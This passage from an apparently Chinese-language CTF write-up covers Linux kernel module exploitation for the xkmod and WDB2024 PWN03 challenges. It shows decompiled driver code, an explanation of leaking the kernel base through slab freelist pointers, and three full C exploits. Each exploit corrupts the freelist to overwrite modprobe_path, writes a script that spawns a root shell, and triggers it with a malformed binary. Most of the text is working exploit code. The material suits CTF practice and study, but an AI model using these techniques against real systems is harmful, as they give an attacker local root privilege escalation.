ioctl(fd, BOF_WRITE, p);
}
int main()
{
// len buf idx
size_t* buf = malloc(0x500);
struct param p = {0x20, buf, 0};
printf("[+] user_buf : %p\n", p.buf);
int bof_fd = open("/dev/bof", O_RDWR);
if (bof_fd < 0) {
puts(RED "[-] Failed to open bof." NONE);
exit(-1);
}
printf(YELLOW "[*] try to leak kbase\n" NONE);
alloc_buf(bof_fd, &p);
free_buf(bof_fd, &p);
int seq_fd = open("/proc/self/stat", O_RDONLY);
read_buf(bof_fd, &p);
qword_dump("leak seq_ops", buf, 0x20);
size_t kernel_offset = buf[0] - seq_ops_start;
printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);
modprobe_path += kernel_offset;
printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);
p.len = 0xa8;
alloc_buf(bof_fd, &p);
free_buf(bof_fd, &p);
read_buf(bof_fd, &p);
buf[0] = modprobe_path - 0x20;
write_buf(bof_fd, &p);
alloc_buf(bof_fd, &p);
alloc_buf(bof_fd, &p);
read_buf(bof_fd, &p);
qword_dump("leak modprobe_path", buf, 0x30);
strcpy((char *) &buf[4], "/tmp/shell.sh\x00");
write_buf(bof_fd, &p);
read_buf(bof_fd, &p);
qword_dump("leak modprobe_path", buf, 0x30);
if (open("/shell.sh", O_RDWR) < 0) {
system("echo '#!/bin/sh' >> /tmp/shell.sh");
system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");
system("chmod +x /tmp/shell.sh");
}
system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
system("/tmp/fake");
return 0;
}
start.sh
#!/bin/shqemu-system-x86_64 \
-kernel bzImage \
-initrd rootfs.img \
-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \
-cpu kvm64,+smep,+smap \
-monitor null \
--nographic \
-s
逆向分析
int __cdecl xkmod_init(){
kmem_cache *v0; // rax
printk(&unk_1E4);
misc_register(&xkmod_device);
v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
buf = 0LL;
s = v0;
return 0;
} int __fastcall xkmod_release(inode *inode, file *file)
{
return kmem_cache_free(s, buf); // maybe double free
} void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 data; // [rsp+0h] [rbp-20h] BYREF
unsigned int idx; // [rsp+8h] [rbp-18h]
unsigned int size; // [rsp+Ch] [rbp-14h]
unsigned __int64 v6; // [rsp+10h] [rbp-10h]
// v3 __ : 0x8 rsp + 0x0
// v4 __ : 0x4 rsp + 0x8
// v5 __ : 0x4 rsp + 0xc
v6 = __readgsqword(0x28u);
if ( a3 )
{
copy_from_user(&data, a3, 0x10LL);
if ( a2 == 0x6666666 )
{
if ( buf && size <= 0x50 && idx <= 0x70 )
{
copy_from_user((char *)buf + (int)idx, data, (int)size);
return;
}
}
else
{
if ( a2 != 0x7777777 )
{
if ( a2 == 0x1111111 )
buf = (void *)kmem_cache_alloc(s, 0xCC0LL);
return;
}
if ( buf && size <= 0x50 && idx <= 0x70 )
{
((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf + (int)idx, size);
return;
}
}
xkmod_ioctl_cold();
}
} 利用思路
关于内核基址获取,在内核堆基址(page_offset_base) + 0x9d000 处存放着 secondary_startup_64 函数的地址,而我们可以从 free object 的 next 指针获得一个堆上地址,从而去找堆的基址,之后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址,这个地址前面刚好有一片为 NULL 的区域方便我们分配。
#define __PAGE_OFFSET page_offset_base#define PAGE_OFFSET ((unsigned long)__PAGE_OFFSET)
#define __va(x) ((void *)((unsigned long)(x)+PAGE_OFFSET))
/* Must be perfomed *after* relocation. */
trampoline_header = (struct trampoline_header *)
__va(real_mode_header->trampoline_header);
...
trampoline_header->start = (u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ; void secondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000
至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。
exp #ifndef _GNU_SOURCE#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
size_t modprobe_path = 0xFFFFFFFF82444700;
void qword_dump(char *desc, void *addr, int len)
{
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
struct Data {
size_t *buf;
u_int32_t offset;
u_int32_t size;
};
void alloc_buf(int fd, struct Data *data)
{
ioctl(fd, 0x1111111, data);
}
void write_buf(int fd, struct Data *data)
{
ioctl(fd, 0x6666666, data);
}
void read_buf(int fd, struct Data *data)
{
ioctl(fd, 0x7777777, data);
}
int main()
{
int xkmod_fd[5];
for (int i = 0; i < 5; i++) {
xkmod_fd[i] = open("/dev/xkmod", O_RDONLY);
if (xkmod_fd[i] < 0) {
printf("[-] %d Failed to open xkmod.", i);
exit(-1);
}
}
struct Data data = {malloc(0x1000), 0, 0x50};
alloc_buf(xkmod_fd[0], &data);
close(xkmod_fd[0]);
read_buf(xkmod_fd[1], &data);
qword_dump("buf", data.buf, 0x50);
size_t page_offset_base = data.buf[0] & 0xFFFFFFFFF0000000;
printf("[+] page_offset_base: %p\n", page_offset_base);
data.buf[0] = page_offset_base + 0x9d000 - 0x10;
write_buf(xkmod_fd[1], &data);
alloc_buf(xkmod_fd[1], &data);
alloc_buf(xkmod_fd[1], &data);
data.size = 0x50;
read_buf(xkmod_fd[1], &data);
qword_dump("buf", data.buf, 0x50);
size_t kernel_offset = data.buf[2] - 0xffffffff81000030;
printf("kernel offset: %p\n", kernel_offset);
modprobe_path += kernel_offset;
close(xkmod_fd[1]);
data.buf[0] = modprobe_path - 0x10;
write_buf(xkmod_fd[2], &data);
alloc_buf(xkmod_fd[2], &data);
alloc_buf(xkmod_fd[2], &data);
strcpy((char *) &data.buf[2], "/home/shell.sh");
write_buf(xkmod_fd[2], &data);
if (open("/home/shell.sh", O_RDWR) < 0) {
system("echo '#!/bin/sh' >> /home/shell.sh");
system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");
system("chmod +x /home/shell.sh");
}
system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
system("chmod +x /home/fake");
system("/home/fake");
return 0;
} WDB2024 PWN03 利用思路
基本上和RWCTF2022 Digging into kernel 1 & 2是一样的,这道题大家拿去练手即可,建议大家自行分析题目,我只把我的exp贴在下面,但是建议大家自己写一个exp。
exp #ifndef _GNU_SOURCE#define _GNU_SOURCE
#endif
#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>
size_t modprobe_path = 0xFFFFFFFF81E58B80;
void qword_dump(char *desc, void *addr, int len)
{
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("[*] %s:\n", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void alloc_buf(int fd, int size)
{
printf("[+] kmalloc %d\n", size);
ioctl(fd, 0x0, size);
}
void free_buf(int fd)
{
printf("[+] kfree\n");
ioctl(fd, 0x1, 0);
}
void read_buf(int fd, size_t* buf, int size)
{
printf("[+] copy_to_user %d\n", size);
read(fd, buf, size);
qword_dump("read_buf", buf, size);
}
void write_buf(int fd, size_t* buf, int size)
{
printf("[+] copy_from_user %d\n", size);
qword_dump("write_buf", buf, size);
write(fd, buf, size);
}
int main()
{
size_t* buf = malloc(0x500);
int easy_fd;
easy_fd = open("/dev/easy", O_RDWR);
alloc_buf(easy_fd, 0xa8);
free_buf(easy_fd);
read_buf(easy_fd, buf, 0xa8);
size_t page_offset_base = buf[0] & 0xFFFFFFFFF0000000;
printf("[*] page_offset_base %p\n", page_offset_base);
buf[0] = page_offset_base + 0x9d000 - 0x10;
write_buf(easy_fd, buf, 0x8);
alloc_buf(easy_fd, 0xa8);
alloc_buf(easy_fd, 0xa8);
read_buf(easy_fd, buf, 0xa8);
size_t kernel_offset = buf[2] - 0xFFFFFFFF81000110;
printf("[*] kernel offset: %p\n", kernel_offset);
modprobe_path += kernel_offset;
buf[0] = modprobe_path - 0x20;
alloc_buf(easy_fd, 0xa8);
free_buf(easy_fd);
write_buf(easy_fd, buf, 0x8);
alloc_buf(easy_fd, 0xa8);
alloc_buf(easy_fd, 0xa8);
read_buf(easy_fd, buf, 0x20);
strcpy((char *) &buf[4], "/shell.sh\x00");
write_buf(easy_fd, buf, 0x30);
if (open("/shell.sh", O_RDWR) < 0) {
system("echo '#!/bin/sh' >> /shell.sh");
system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");
system("chmod +x /shell.sh");
}
system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
system("chmod +x /fake");
system("/fake");
return 0;
}